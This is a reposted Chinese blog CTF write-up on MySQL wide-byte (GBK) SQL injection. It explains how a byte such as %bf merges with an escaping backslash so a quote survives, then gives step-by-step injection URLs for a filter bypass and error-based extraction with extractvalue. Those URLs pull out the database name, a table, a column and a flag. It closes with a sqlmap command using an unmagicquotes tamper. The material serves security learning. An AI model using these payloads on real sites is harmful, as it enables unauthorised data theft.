您的位置:首页 > 数据库 > MySQL

mysql宽字符注入

2016-05-30 09:27 441 查看
先补充一点背景:

大 家都知道PHP在开启magic_quotes_gpc或者使用addslashes、iconv等函数的时候,单引号(')会被转义成\'。比如字 符%bf在满足上述条件的情况下会变成%bf\'。其中反斜杠(\)的十六进制编码是%5C,单引号(')的十六进制编码是%27,那么就可以得出%bf \'=%bf%5c%27。如果程序的默认字符集是GBK等宽字节字符集,则MySQL会认为%bf%5c是一个宽字符,也就是“縗”。也就是说%bf \'=%bf%5c%27=縗'。

说 到这里好像还没有看出来到底有什么用。了解PHP+MySQL注入的朋友应该都明白,单引号在注入里绝对是个好东西。尤其是,很多程序员都过分依赖于 magic_quotes_gpc或者addslashes、iconv等函数的转义。理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞

以上来源为:http://www.myhack58.com/Article/html/3/7/2012/33743.htm

讲的不错,我就复制黏贴了

例子:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1
【1】首先我们先要测试一下经典的%df%27
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%df%27 and 1=1 %23

结果页面显示:

Forbidden

看来是被过滤了

没关系,我们依然可以尝试这样注入:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=1%23

页面是:look me,look me,look me.
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=2%23

页面为空

看来是注入成功了

类似成功的还有:

(1)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%e5%27 and 1=2%23

(2)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%c2%27 and 1=1%23

(3)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=1%23

【2】我发现这是一个报错注入,于是我们开始愉快的开启报错注入模式:

爆数据库:

sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select database()))) %23

页面显示:

XPATH syntax error: '\sql2'

【3】爆表

sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=0x73716c32 limit 0,1))) %23

页面显示:

XPATH syntax error: '\[key_flag]'

【4】爆字段:

sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select COLUMN_NAME from Information_schema.columns where table_Name = 0x5b6b65795f666c61675d and TABLE_SCHEMA= 0x73716c32 limit 1,1))) %23

页面显示:

XPATH syntax error: '\key_flag'

【5】爆内容:

如果大家这样:

sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select key_flag from [key_flag]))) %23

注入爆内容的话就会出错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '[key_flag]))) #'' at line 1

这里有点小坑,就是在mysql做查询的时候表名不能带有中括号,否则就会报错,后来花了一个小时做实验谷歌查询得知,如果表里面必须有中括号的时候必须要用’,“,` 包起来,但是’和”会被php的magic_quotes_gpc的这个函数转义掉所以就要用`包起来,这个符号在键盘的Esc下面,url的编码为%60

至此我们这样爆就可以出内容了

sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select key_flag from `[key_flag]`))) %23

页面显示:
XPATH syntax error: '\SYC{L0ve_Sql_Inj3ct10n_akak}'

sqlmap的指令是:sqlmap -u "http://202.120.7.140:8888/try.PHP?fruit=1" --tamper unmagicquotes -D "store" -T "tell_me_who_u_are"
--dump

转载自:http://blog.csdn.net/niexinming/article/details/49109683
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: